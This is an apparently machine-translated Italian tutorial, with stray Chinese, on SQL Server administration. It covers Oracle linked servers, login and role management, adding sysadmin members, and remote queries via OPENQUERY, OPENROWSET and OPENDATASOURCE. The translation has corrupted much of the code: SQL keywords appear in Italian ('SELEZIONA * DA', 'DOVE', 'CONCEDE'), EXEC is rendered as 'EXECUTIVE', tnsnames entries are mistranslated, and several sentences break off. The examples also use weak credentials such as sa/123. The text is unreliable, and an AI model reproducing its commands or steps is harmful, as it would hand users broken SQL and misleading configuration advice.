ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(INDIRIZZO = (PROTOCOLLO = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Esegui il seguente comando in modalità DOS per confermare che il client ORACLE sia installato correttamente.
Utente/password@ORCL SQL
4) Apri Start - Pannello di controllo - Servizi e conferma che il servizio Distributed Transaction Coordinator è avviato.
5) Open SQL SERVER Management Studio, Nome Istanza (ORCL) - Server Object (clic destro) - Nuovo Connection Server.
1.
Server collegamento: Scrivi il nome del server collegato, come OracleTest
2. Tipo di server, selezionare una fonte dati diversa
3. Interfaccia di accesso: Seleziona Oracle Provider per OLE DB
4. Nome prodotto: Write Oracle
5. Fonte dati: Scrivere un resoconto
Il nome del servizio configurato nel file tnsnames.ora, come ORCL
6. stringa dell'interfaccia di accesso: userid=sys as sysdba; password=password
7. Nella pagina Seleziona Opzioni di Sicurezza, usa questo contesto di installazione per stabilire una connessione:
a) Accesso remoto: utente (altro utente, non sys)
b)
Usa password: password
8. Imposta "NT AUTHORITY\SYSTEM" sull'accesso locale, sistema utente remoto e imposta la password
9.
Sei sicuro
6) Ci sono due modi per scrivere SQL
a) Uso della sintassi T-SQL:
SELEZIONA * DA
OraTest.ERP.BAS_ITEM_CLASS
Nota che quando inserisci le istruzioni SQL in SQL Query Analyzer, presta attenzione al cambio cinese a piena e mezza larghezza
Possibile!
b) Usare la sintassi PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Il secondo metodo di accesso è circa il 50% più veloce del primo; Il secondo metodo di accesso è direttamente collegato
ORACLE è comparabile; Il primo metodo di accesso può portare ad alcuni errori imprevisti, come: La tabella non esiste, né l'utente attuale
Non c'è accesso al tavolo, e così via.
d) Se la colonna da accedere utilizza tipi di dati senza precisione, entrambe le seguenti
Questo è un bug di ORACLE che non può essere risolto e può essere evitato solo tramite una gestione speciale delle istruzioni di query:
I metadati forniti dal provider OLE DB 'OraOLEDB.Oracle' per le colonne sono incoerenti. Le informazioni sui metadati vengono modificate all'esecuzione.
MSSQL aggiunse
Elimina l'utente e concedi i permessi
Usa il nome della tua biblioteca Vai --Aggiungi utenti EXECUTIVE sp_addlogin 'test' -- aggiungi login Esecutivo
sp_grantdbaccess N'test' - rendendolo un utente legittimo del database attuale esecutivo sp_addrolemember N'db_owner',
N'test' - concede tutti i permessi al proprio database --Questo crea utenti che possono accedere solo al proprio database e a ciò che è incluso nel database
Tabella pubblica per utenti ospiti Vai --Rimuovi l'utente di test exec sp_revokedbaccess N'test' -- Rimuovere l'accesso al database
Limite exec sp_droplogin N'test' -- elimina login Se lo crei in Enterprise Manager, usa: Enterprise Manager - Sicurezza
Sesso --Clic destro Accede--Nuovo accesso Elementi generali --Inserisci il nome utente nel nome
--Il metodo di autenticazione viene selezionato in base alle tue esigenze (se usi l'autenticazione Windows, devi prima creare un nuovo utente tra gli utenti del sistema operativo)
--Nelle impostazioni predefinite, seleziona il nome del database a cui vuoi accedere per il nuovo utente Elemento del ruolo del server Non scegliere nulla in questo banca dati
Elemento di accesso Controlla il nome del database a cui vuoi accedere per l'utente che crei Permette di inserire il ruolo nel database, seleziona "pubblico", "db_ownew" Certo, questo
L'utente creato dal campione è lo stesso dell'utente creato dall'affermazione sopra
L'ultimo passo è impostare permessi di accesso specifici per utenti specifici, che possono essere riferiti al seguente esempio minimo:
--Aggiungi gli utenti che possono accedere solo alla tabella specificata: Executive sp_addlogin 'nome utente', 'password', 'nome database predefinito'
--aggiungi al database Esecutivo sp_grantdbaccess 'Username'
--Assegna permessi a intere tabelle CONCEDE SELEZIONA, INSERISCI, AGGIORNA, ELIMINA NELLA TABELLA1 A [USERNAME] --Assegnare permessi a colonne specifiche CONCEDE SELEZIONAZIONE, AGGIORNA SU tabella1(id,AA) A [username]
Per impostazioni di sicurezza specifiche e conoscenze teoriche, si prega di consultare SQL Online Help
Descrizione fissa del ruolo nel database db_owner Avere pieni permessi nel database.
db_accessadmin Puoi aggiungere o rimuovere ID utente.
db_securityadmin Può gestire permessi completi, proprietà degli oggetti, ruoli e appartenenze ai ruoli.
db_ddladmin può emettere TUTTI i DDL, ma non dichiarazioni di CONCEDERE, REVOCARE o NEGARE.
db_backupoperator può emettere istruzioni DBCC, CHECKPOINT e BACKUP.
db_datareader Puoi selezionare tutti i dati da qualsiasi tabella utente nel database.
db_datawriter Puoi modificare tutti i dati in qualsiasi tabella utente del database.
db_denydatareader Non puoi selezionare dati da nessuna tabella utente nel database.
db_denydatawriter Non puoi modificare alcun dato in nessuna tabella utente del database.
Dovresti scegliere db_datareader, db_datawriter, db_accessadmin
5. Dopo che l'istanza SQL Server è stata avviata in modalità utente singolo, l'account amministratore di Windows può utilizzare lo strumento sqlcmd per connettersi in modalità autenticazione Windows
SQL Server。 Puoi usare comandi T-SQL come "sp_addsrvrolemember" per aggiungere un login esistente al ruolo di sysadmin server
Oppure crea un nuovo account di accesso. Un esempio di affermazione è il seguente:
EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
VAI
Aggiungi un privilegio di sysadmin
(1) Gestione dei ruoli dei server
In SQL Server, esistono due principali stored procedure che implementano la gestione del ruolo di SQL Server:
sp_addsrvrolemember
e sp_dropsrvrolemember
sp_addsrvrolemember Puoi aggiungere un account di accesso a un ruolo server per renderlo membro di quel ruolo server. La sintassi è la seguente: sp_addsrvrolemember
login , ruolo
sp_dropsrvrolemember Puoi eliminare un account di accesso da un ruolo server e, quando il membro viene rimosso dal ruolo server, non ha più quel ruolo server
I permessi impostati. La sintassi è la seguente: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'ruolo'
in cui
@loginname è il nome dell'utente effettuato l'accesso; @rolename è un ruolo da server.
(2) Gestire i ruoli nei database
In SQL Server è supportata la gestione dei database
Esistono sei tipi principali di stored procedure, e i loro significati e sintassi specifici sono i seguenti:
sp_addrole: Utilizzato per creare un nuovo ruolo nel database; sp_addrole
Ruolo, proprietario
sp_droprole: Utilizzato per rimuovere un ruolo di database dall'attuale ruolo di database; sp_droprole ruolo
sp_helprole:
Viene utilizzato per visualizzare tutte le informazioni su tutti i ruoli del database nel database corrente; sp_helprole ['ruolo']
sp_addrolemember: Usato per inviare al database
Aggiungere utenti di database a un ruolo, che può essere ruoli standard definiti dall'utente o ruoli fissi nel database, ma non possono esserlo
Ruoli di candidatura. sp_addrolemember ruolo, security_account
sp_droprolemember: Usato per cancellare un certo personaggio
domestico; sp_droprolemember ruolo, security_account
sp_helprolemember: Utilizzato per visualizzare tutti i membri di un ruolo di database
。 sp_helprolemember ['ruolo']
Interrogazione MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Autore :
htl258(Tony) -- Data : 2010-06-25 22:23:18 -- Versione: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 lug 2008 14:43:34 -- Copyright (c) 1988-2008 Microsoft Corporation --
Developer Edition su Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Oggetto: Operazioni dati SQL tra diversi database server ---------------------------------------------------------------------------------- --1. Crea un server di link --1.1 Crea un nome di link EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', il nome del server remoto
o indirizzo IP' -- Se hai un nome di istanza personalizzato, aggiungi "\nome dell'istanza"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Crea un login (o crea una mappa di login nel server di link) (scegli solo un modo) --1.2.1 Accedi con l'autenticazione di Windows EXECUTIVE sp_addlinkedsrvlogin 'LinkName' --o EXEC sp_addlinkedsrvlogin 'LinkName', 'vero'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Accedi con l'autenticazione SQL EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */ --2. Operazioni dati collegate al server di collegamento --2.1 Esempio di query SELEZIONA * DA LinkName.nome database.nome schema.nome tabella
/*例如:SELECT *
DA TonyLink.Mydb.dbo.tb */ -- 2.2 Esempio di importazione SELEZIONA * ENTRO nome della tabella DA LinkName.database.nome schema.nome tabella.nome tabella
/*例如:SELECT * INTO Newtb
DA TonyLink.Mydb.dbo.tb */ -- 2.3 Esempio di aggiornamento AGGIORNAMENTO LinkNome.Nome Database.Nome Schema.Nome Tabella SET campo='valore' DOVE campo='condizione'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */ -- 2.4 Elimina gli esempi ELIMINA LinkNome.Nome Database.Nome Schema.Nome Tabella DOVE nome campo='condizione'
/*例如:DELETE
TonyLink.Mydb.dbo.tb DOVE Persone='g' */ --3 tramite funzione di rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metodo
- 3.1 Metodo OPENQUERY (richiede l'aiuto del server di link che hai appena creato): -- 3.1.1 Esempio di query SELEZIONA * DA OPENQUERY(LinkName, 'SELEZIONA* DA nome database. Nome architettonico. Nome della tabella')
/* Ad esempio: SELEZIONA * DA OPENQUERY(TonyLink, 'SELEZIONA * DA Mydb.dbo.tb') */ -- 3.1.2 Esempi di importazione --3.1.2.1 Importa tutte le colonne INSERISCI OPENQUERY(LinkName, 'SELEZIONA * DA nome database. Nome architettonico. Nome della tabella
') SELEZIONA * DALLA tabella locale
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
DA TB */ --3.1.2.2 Importa le colonne specificate INSERISCI OPENQUERY(LinkName, 'SELEZIONA * DA nome database. Nome architettonico. Nome della tabella') (colonna, colonna...) colonna SELECT,
Colonna... DA la tabella locale
/* Ad esempio: INSERISCI OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) SELEZIONARE
INTERVALLO, LIVELLO, Persone DI TB */ --3.1.3 Esempi di aggiornamento AGGIORNAMENTO OPENQUERY(LinkName, 'SELEZIONA* DA nome database. Nome architettonico. nome della tabella') campo SET = 'valore' parola WHERE
Segmento = 'Condizione'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persone='a' */ --3.1.4 Elimina esempi ELIMINA OPENQUERY(LinkName, 'SELECT * FROM nome database. Nome architettonico. nome della tabella') DOVE nome campo='condizione'
/*例
Ad esempio: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 Metodo OPENROWSET (non è necessario usare il nome del link creato.) Se il nome dell'istanza connessa non è il predefinito, devi impostarlo nel nome del server SQL o nell'indirizzo IP.
"\nome dell'istanza") --3.2.1 Esempio di query --3.2.1.1 Interrogazione del metodo di autenticazione di Windows (uno dei seguenti metodi è sufficiente) SELEZIONA * DA OPENROWSET('SQLOLEDB', 'server=nome server SQL oppure
indirizzo IP; Trusted_Connection=sì', nome del database. Nome architettonico. Nome della tabella) SELEZIONA * DA OPENROWSET('SQLNCLI',
'server=nome server SQL o indirizzo IP; Trusted_Connection=sì', nome del database. Nome architettonico. Nome della tabella) SELEZIONA * DA
OPENROWSET('SQLOLEDB', 'server=nome server sql o indirizzo IP; Trusted_Connection=sì','SELEZIONA * DAL database
Nome. Nome architettonico. Nome della tabella') SELEZIONA * DA OPENROWSET('SQLNCLI', 'server=nome server SQL o indirizzo IP
Indirizzo; Trusted_Connection=sì','SELEZIONA * DA nome database. Nome architettonico. Nome della tabella')
/* Ad esempio: SELEZIONA * DA OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sì',Mydb.dbo.tb)
Oppure: SELEZIONA * DA OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sì',Mydb.dbo.tb)
Oppure: SELEZIONA * DA OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sì','SELEZIONA *
DA Mydb.dbo.tb')
Oppure: SELEZIONA * DA OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sì','SELEZIONA *
DA Mydb.dbo.tb') */ --3.2.1.2 Query del metodo di autenticazione SQL (Uno dei seguenti metodi è sufficiente) SELEZIONA * DA OPENROWSET
('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; PWD=password', nome database. Nome architettonico. Nome della tabella) SELEZIONA * DA
OPENROWSET('SQLNCLI', 'server=nome server sql o indirizzo IP; uid=username; PWD=password', nome database. Nome architettonico. Nome della tabella) SELEZIONA * DA OPENROWSET('SQLOLEDB', 'server=nome server SQL o indirizzo IP; uid=username; pwd=password','SELEZIONA *
Nome database DA ON. Nome architettonico. Nome della tabella') SELEZIONA * DA OPENROWSET('SQLNCLI', 'server=nome server sql o indirizzo IP; uid=
Nome utente; pwd=password','SELEZIONA * DA nome database. Nome architettonico. Nome della tabella') SELEZIONA * DA OPENROWSET('SQLOLEDB', 'SQL
nome del server'; 'username'; 'password', nome database. Nome architettonico. Nome della tabella) SELEZIONA * DA OPENROWSET('SQLNCLI', 'NOME SERVER SQL'
'; 'username'; 'password', nome database. Nome architettonico. Nome della tabella) SELEZIONA * DA OPENROWSET('SQLOLEDB', 'NOME SERVER SQL'; ' Utente
nome'; 'Password', 'SELEZIONA * DA nome database. Nome architettonico. Nome della tabella') SELEZIONA * DA OPENROWSET('SQLNCLI', 'SQL SERVER
nome'; 'username'; 'Password', 'SELEZIONA * DA nome database. Nome architettonico. Nome della tabella')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Oppure: SELEZIONA * DA OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Oppure: SELEZIONA * DA OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
oppure: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
oppure: SELEZIONA * DA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
oppure: SELEZIONA * DA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
oppure: SELEZIONA * DA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELEZIONA * DA Mydb.dbo.tb')
oppure: SELEZIONA * DA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELEZIONA * DA Mydb.dbo.tb') */ --3.2.2 Esempio di importazione --3.2.2.1 Importa tutte le colonne INSERISCI OPENROWSET('SQLOLEDB', 'server=nome server SQL o indirizzo IP
Indirizzo; uid=username; PWD=password', nome database. Nome architettonico. Nome della tabella) SELECT * FROM la tabella locale
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SELEZIONA * DA TB */ --3.2.2.2 Importazione
Specifica le colonne INSERISCI OPENROWSET('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; PWD=password', nome database. armadio dati
Nome costrutto. Nome della tabella) (colonna, colonna...) SELECT colonna, colonna... DA la tabella locale
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(INTERVALLO, LIVELLO, Persone) SELEZIONARE
INTERVALLO, LIVELLO, Persone DI TB */ --Nota: Per metodi più alternativi, si riferisca all'esempio della query .2.1, basta sostituire la funzione OPENROWSET
Il contenuto è sufficiente. --3.2.3 Esempio di aggiornamento AGGIORNA OPENROWSET('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username
;p wd=password', nome database. Nome architettonico. Nome della tabella) Campo SET = 'valore' DOVE campo = 'condizione'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persone='g' DOVE Persone='a' */ --Nota: Per metodi più alternativi, si riferisca all'esempio della query .2.1, basta sostituire il contenuto nell'OPENROWSET. --3.2.4 Elimina l'indicazione
Esempio ELIMINA OPENROWSET('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; PWD=password', nome database. Nome dello schema
.nome tabella) DOVE nome campo='condizione'
/* Ad esempio: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) DOVE
Persone='g' */ --Nota: Per metodi più alternativi, vedi l'esempio della query .2.1, basta sostituire il contenuto nell'OPENROWSET. --3.3 Metodo OPENDATASOURCE
(Non è necessario usare il nome del link creato.) Se il nome dell'istanza della connessione non è quello predefinito, devi aggiungere \nome di istanza dopo il nome o l'indirizzo IP del server SQL
") --3.3.1 Esempio di query --3.3.1.1 Query del metodo di autenticazione di Windows (Uno dei seguenti metodi è sufficiente) SELEZIONA * DA OPENDATASOURCE('SQLOLEDB',
'server=nome server SQL o indirizzo IP; Trusted_Connection=sì'). Nome del database. Nome architettonico. Nome della tabella SELEZIONA * DA
OPENDATASOURCE('SQLNCLI', 'server=nome server sql o indirizzo IP; Trusted_Connection=sì'). Nome del database. Nome architettonico.
Nome della tabella
/* Ad esempio: SELEZIONA * DA OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sì'). Mydb.dbo.tb
Oppure: SELEZIONA * DA OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sì'). Mydb.dbo.tb */ --3.3.1.2 Query del metodo di autenticazione SQL (uno dei seguenti metodi è sufficiente) SELEZIONA * DA OPENDATASOURCE('SQLOLEDB', 'server=nome server SQL oppure
indirizzo IP; uid=username; pwd=password'). Nome del database. Nome architettonico. Nome della tabella SELEZIONA * DA OPENDATASOURCE('SQLNCLI', 'server=nome server sql o indirizzo IP; uid=utente
Nome; pwd=password'). Nome del database. Nome architettonico. Nome della tabella SELEZIONA * DA OPENDATASOURCE('SQLOLEDB', 'Data Source=nome server sql o indirizzo IP
Indirizzo; uid=username; pwd=password'). Nome del database. Nome architettonico. Nome della tabella SELEZIONA * DA OPENDATASOURCE('SQLNCLI', 'Data Source=nome server sql o indirizzo IP
Indirizzo; uid=username; pwd=password'). Nome del database. Nome architettonico. Nome della tabella
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Oppure: SELEZIONA * DA OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Oppure: SELEZIONA * DA OPENDATASOURCE('SQLOLEDB','Data
Fonte=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Oppure: SELEZIONA * DA OPENDATASOURCE('SQLNCLI','Data
fonte=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importa tutte le colonne INSERIRE OPENDATASOURCE('SQLOLEDB', 'server=nome server SQL o indirizzo IP; uid=username; pwd=password').
Secondo il nome della biblioteca. Nome architettonico. Nome della tabella SELECT * FROM la tabella locale
/* Ad esempio: INSERISCI OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SELEZIONARE
* DA TB */ --3.3.2.2 Importa le colonne specificate INSERIRE OPENDATASOURCE('SQLOLEDB', 'server=nome server SQL o indirizzo IP; uid=username; pwd=password').
Secondo il nome della biblioteca. Nome architettonico. Nome della tabella (colonna, colonna...) SELECT colonna, colonna... DA la tabella locale
/* Ad esempio: INSERISCI OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(DISTANZA, LIVELLO, Persone) SELEZIONA INTERVALLO, LIVELLO, Persone DA TB */ --Nota: Per metodi alternativi, vedi l'esempio della query .3.1, basta sostituire il contenuto nella funzione set di righe (OPENDATASOURCE). --3.3.3 Esempio di aggiornamento AGGIORNA OPENDATASOURCE('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; pwd=password'). Nome del database. Nome architettonico. Nome della tabella Campo SET = 'valore' DOVE campo = 'condizione'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persone='g' DOVE Persone='a' */ --Nota: Per metodi alternativi, vedi l'esempio della query .3.1, basta sostituire il contenuto nella funzione set di righe (OPENDATASOURCE). --3.3.4 Elimina esempio ELIMINA OPENDATASOURCE('SQLOLEDB', 'server=nome server sql o indirizzo IP; uid=username; pwd=password'). Nome del database. Nome architettonico. Nome della tabella DOVE nome campo='condizione'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb DOVE Persone = 'g' */ - Nota: Altre alternative
Fai riferimento all'esempio della query .3.1, basta sostituire il contenuto nella funzione di riga (OPENDATASOURCE). -- Elimina il metodo server collegato --Se in futuro non userai più le informazioni del link, puoi cancellarle --4.1 Elimina le informazioni di accesso (o elimina la mappa dei nomi di accesso del server collegato) EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/* Ad esempio: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Elimina il nome del server collegato EXEC sp_dropserver 'LinkName', 'droplogins' -- se sono specificati i droplogin, La mappa di login deve essere cancellata prima di eliminare il server collegato
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Allegato
: Come ottenere il nome del fornitore (EXEC). xp_enum_oledb_providers) SELECT CAST([Nome Fornitore] COME
VARCHAR(30)) FornitoreNome, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion DA
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=sì', 'INIZIA SOLO IL PRIMO PARTITO; EXECUTIVE
Maestro.. xp_enum_oledb_providers'
)
|